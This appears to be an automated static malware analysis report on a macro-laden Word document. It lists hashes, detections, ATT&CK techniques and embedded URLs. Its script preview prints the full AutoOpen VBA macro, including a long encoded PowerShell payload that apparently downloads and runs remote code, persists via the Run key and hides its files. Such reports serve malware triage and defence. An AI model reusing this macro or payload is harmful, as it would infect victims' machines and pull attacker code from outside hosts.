Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c71dd6e9f3a275bf…

MALICIOUS

Office (OOXML)

393.2 KB Created: 2014-04-06 07:40:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2015-09-17
MD5: 5c14f0d64f8dc69e6fba1fd0115e2cd0 SHA-1: 798ae3047d32183e172f1e833f3a3c747b145996 SHA-256: c71dd6e9f3a275bf87cbb52d4f2e6abd8c1c6ccd958bf4552672267782e41d2b
360 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1140 Deobfuscate or Obfuscate

The sample is a malicious Office document containing VBA macros. The AutoOpen macro utilizes WScript.Shell and references PowerShell, indicating an attempt to download and execute a second-stage payload. The script also attempts to establish persistence by writing to the Run key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run. The presence of a suspicious URL and the ClamAV detection further support its malicious nature.

Heuristics 10

  • ClamAV: Doc.Virus.Pwshell-6755238-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Virus.Pwshell-6755238-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set a = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set a = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • External hyperlinks (4) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 4 external hyperlinks — clickable URLs are stored as external relationships. First target: http://www.smjfl.com.au
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.smjfl.com.au Document hyperlink
    • http://www.smjfl.com.au/index.php?id=193Document hyperlink
    • http://www.m.smjfl.com.auDocument hyperlink
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://sportingpulse.zendesk.com/entries/21673585Document hyperlink

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6628 bytes
SHA-256: 4267c6e55d9fd357d6ce5046a692b0f730d7dc25c5fc65fe04537b8f4de33f01
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
b = "JwBpAGUAdwB0AFoAJwA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwAnAHMATABmAGIAZABjACcAOwAnAFMAdgBwAHYAWgBKAFkAJwA7ACQAdgB5AGkAaAAgAD0AIAAoAGcAZQB0AC0AdwBtAGkAbwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAApAC4AVQBVAEkARAA7ACcAZwB3AFcAcgBsAG8AVgAnADsAJwBvAHUAdgBkACcAOwBpAGYAIAAoACgAZwBwACAASABLAEMAVQA6AFwAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgApACAALQBtAGEAdABjAGgAIAAkAHYA" _
& "eQBpAGgAKQB7ADsAJwBjAEwASgBFAEoAdgBKAGUATAAnADsAJwBFAFMAbABGAFEARgBEAEcAJwA7ACgARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBpAGQAIAAkAHAAaQBkACkALgBLAGkAbABsACgAKQA7ACcAQgBOAEIAZQBrAGIARgAnADsAJwBpAEMASQBjAFcAQQBXAGkASAAnADsAfQA7ACcAdQBwAGQAWQBsAFIAeABjACcAOwAnAFkAdQAnADsAZgB1AG4AYwB0AGkAbwBuACAAZQAoACQAYwB4AGoAKQB7ADsAJwBJAE4AVwBZAHgATQBGAFMAUwB4AEMAJwA7ACcAaABsAGoAWgBPAHoAdgBpAFEASABMACcAOwAkAG0AdQBvACAAPQAgACgAKAAoAGkAZQB4ACAAIgBuAHMAbABvAG8AawB1AHAAIAAtAHEAdQBlAHIAeQB0AHkAcABlAD0AdAB4AHQAIAAkAGMAeABqACAAOAAuADgALgA4AC4AOAAiACkAIAAtAG0AYQB0AGMAaAAgACcAIgAnACkAIAAtAHIAZQBwAGwA" _
& "YQBjAGUAIAAnACIAJwAsACAAJwAnACkAWwAwAF0ALgBUAHIAaQBtACgAKQA7ACcAdwBxAEIAdQBpAHkASQBVAGUAaQBEACcAOwAnAEUAWgBYAHoAWgBuAGYAagAnADsAJABpAGkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbQB1AG8ALAAgACQAeQBvAGUAKQA7ACcAbQBsAGwAaAAnADsAJwBnAHgAcAAnADsAJAB2AGkAIAA9ACAAJAB2AHAAdwAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJAB5AG8AZQApAC4ASQB0AGUAbQBzACgAKQA7ACcARABVAHQAUgB1AFgAdQByAGwAJwA7ACcAdwB3AHQAYgBPAGsAbAAnADsAJAB2AHAAdwAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJABwAGgAaQApAC4AQwBvAHAAeQBIAGUAcgBlACgAJAB2AGkALAAgADIAMAApADsAJwBaAE8AYwBHAE4ARgBhAHAAQwBkACcAOwAnAGYAdgBWAGgASwBYAEYAaAB1ACcAOwByAGQAIAAkAHkA" _
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& "cgBjAGUAIAAtAFAAYQB0AGgAIAAkAHAAaABpADsAJwBaAEYAegBOAHQAJwA7ACcARwBqAFQAdwAnADsAJABtAGMALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACIASABpAGQAZABlAG4AIgAsACAAIgBTAHkAcwB0AGUAbQAiACwAIAAiAE4AbwB0AEMAbwBuAHQAZQBuAHQASQBuAGQAZQB4AGUAZAAiADsAJwBOAHAAaAB5AGIAUAB6AGcAWABNACcAOwAnAG8AbQBIAFYAUQBNACcAOwB9ADsAJwBIAEgARgBGAEgAUwBzACcAOwAnAHcAbgBYAHUAaQBrACcAOwAnAE8AVAAnADsAJwBWAE8ATABIAFYAdQBYAHEAJwA7ACQAdQBmAD0AJABwAGgAaQArACAAJwBcAHQAbwByAC4AZQB4AGUAJwA7ACcAcwBIAFYAUgBCAEgAegBUAFgARgAnADsAJwB0AHIATABUAEcARgB5AHEAbABnAEUAJwA7ACQAeQBhAG4APQAkAHAAaABpACsAIAAnAFwAcABvAGwAaQBwAG8ALgBlAHgA" _
& "ZQAnADsAJwBWAGgAZAB1ACcAOwAnAGcAWQB2AGQATQAnADsAJAB5AG8AZQA9ACQAcABoAGkAKwAnAFwAJwArACQAdgB5AGkAaAArACcALgB6AGkAcAAnADsAJwBaAGYARABOACcAOwAnAFUAQwBFAGgAUgBPAE4AbQBnACcAOwAkAGkAaQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAnAFUAZwBwAHAAJwA7ACcAYwBkAE4AcQBHAGgAQwBFAGoARwAnADsAJAB2AHAAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AOwAnAE0AcwBmAG0AUgBTAFAAagByAGUAeQAnADsAJwBxAEcAeQAnADsAJwBzAEgAJwA7ACcAaQB4ACcAOwBpAGYAIAAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAdQBmACkAIAAtAG8AcgAgACEAKABUAGUA" _
& "cwB0AC0AUABhAHQAaAAgACQAeQBhAG4AKQApAHsAOwAnAGMAUABHAGYAZwB4AEoATABNAFEAJwA7ACcATwBhAGYAbAAnADsAZQAgACcAaQAuAHYAYQBuAGsAaQBuAC4AZABlACcAOwAnAFIAcABHAEoAVQB4AE4AJwA7ACcARQBoAHIARQBHAEEAQwBkAGsAJwA7AH0AOwAnAGMARgByAGoAeQBzAGEAagBlAFAAJwA7ACcAQwBNAFQASgBMAHkAJwA7ACcAawBsAEkAUQB1AE8AaAAnADsAJwBVAEwAJwA7AGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJAB1AGYAKQAgAC0AbwByACAAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJAB5AGEAbgApACkAewA7ACcAUgBaAGQAJwA7ACcAdABiAFYAVwAnADsAZQAgACcAZwBnAC4AaQBiAGkAegAuAGMAYwAnADsAJwBtAFoAQQBTAHkAdgBqACcAOwAnAGgAYwB6AGoASABFAEgAJwA7AH0AOwAnAEkATQB2ACcAOwAnAHkA" _
& "YQB3AHAAYgBTAEgASQBOACcAOwAnAFQAZABZAGkAcQB6ACcAOwAnAEQAYQBLAEkAJwA7ACQAaQB1AGwAPQAkAHAAaABpACsAJwBcAHIAbwBhAG0AaQBuAGcAbABvAGcAJwA7ACcASwB5AGkAQQB0AFIASQBTAGEAQgBpACcAOwAnAE0ASQBBAGEAJwA7AHMAYQBwAHMAIAAkAHUAZgAgAC0AQQByACAAIgAgAC0ALQBMAG8AZwAgAGAAIgBuAG8AdABpAGMAZQAgAGYAaQBsAGUAIAAkAGkAdQBsAGAAIgAiACAALQB3AGkAIABIAGkAZABkAGUAbgA7ACcAWABxAG8AJwA7ACcAaQBYACcAOwBkAG8AewBzAGwAZQBlAHAAIAAxADsAJABlAHAAPQBnAGMAIAAkAGkAdQBsAH0AdwBoAGkAbABlACgAIQAoACQAZQBwACAALQBtAGEAdABjAGgAIAAnAEIAbwBvAHQAcwB0AHIAYQBwAHAAZQBkACAAMQAwADAAJQA6ACAARABvAG4AZQAuACcAKQApADsAJwBEAEUAQwBxACcAOwAnAG0A" _
& "TQBUAHoAbQBvACcAOwBzAGEAcABzACAAJAB5AGEAbgAgAC0AYQAgACIAcwBvAGMAawBzAFAAYQByAGUAbgB0AFAAcgBvAHgAeQA9AGwAbwBjAGEAbABoAG8AcwB0ADoAOQAwADUAMAAiACAALQB3AGkAIABIAGkAZABkAGUAbgA7ACcAcQBMAHoAUQBuAFEAQQBnAGwAVQAnADsAJwBsAGMAJwA7AHMAbABlAGUAcAAgADcAOwAnAE8AaABBAFMAWABaAEwAVgBoAHYAeQAnADsAJwBiAFUATQBRAGUAcgBrACcAOwAkAGgAagBhAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAKAAiAGwAbwBjAGEAbABoAG8AcwB0ADoAOAAxADIAMwAiACkAOwAnAHkAcwBFAFQASQBGAE8AJwA7ACcAYQBNAHoAZQBFAFgASgBhAHQAVQBjACcAOwAkAGgAagBhAC4AdQBzAGUARABlAGYAYQB1AGwAdABDAHIAZQBkAGUAbgB0AGkA" _
& "YQBsAHMAIAA9ACAAJAB0AHIAdQBlADsAJwBNAEEAJwA7ACcAYQBoAHgAWQBqAEUATABXAGYAJwA7ACQAaQBpAC4AcAByAG8AeAB5AD0AJABoAGoAYQA7ACcAawBsAGwAWgBYAFoAUABTAGMARgBFACcAOwAnAFUAbgBQAEgAZQBEAHQAJwA7ACQAbABhAHoAPQAnAGgAdAB0AHAAOgAvAC8AcABvAHcAZQByAHcAbwByAG0AagBxAGoANAAyAGgAdQAuAG8AbgBpAG8AbgAvAGcAZQB0AC4AcABoAHAAPwBzAD0AcwBlAHQAdQBwACYAbQBvAG0APQA5AEMANwBBAEIARAAzAEEALQBEADEAOQA3AC0AMQAxAEQAQgAtAEIAQgBEAEEALQBCAEIARQAwADYAMQBFADYAMAAwADEAOQAmAHUAaQBkAD0AJwAgACsAIAAkAHYAeQBpAGgAOwAnAGMAbQBJAEoAYgBjAGwAbABTAGYAZAAnADsAJwBUAFIAdQB0AEQATgBuACcAOwB3AGgAaQBsAGUAKAAhACQAcQBiACkAewAkAHEAYgA9ACQA" _
& "aQBpAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJABsAGEAegApAH0AOwAnAGUAYQB4AGQAQgBnAG4AUgB5AHQARwAnADsAJwBVAGMAagB5AGIATgBnAFUAJwA7AGkAZgAgACgAJABxAGIAIAAtAG4AZQAgACcAbgBvAG4AZQAnACkAewA7ACcAdQBJAEMAdABsAGMAbwBFAFYAJwA7ACcAdQBkAEcAJwA7AGkAZQB4ACAAJABxAGIAOwAnAFgATgBOAGQAdABGAHEAUQBoAFMARgAnADsAJwBRAHoAZgBXAHkASwBxAHIAWQAnADsAfQA7ACcASABxAEkASgBKAEYAJwA7AA=="
Set a = CreateObject("WScript.Shell")
a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17920 bytes
SHA-256: 07e1c9a65ca57d5b5e4811f51d1669248468e7916f504f5afc1467c475e26a68
Detection
ClamAV: Doc.Virus.Pwshell-6755238-0
Obfuscation or payload: likely
Carved artifact contains 11 long base64-like blob(s).

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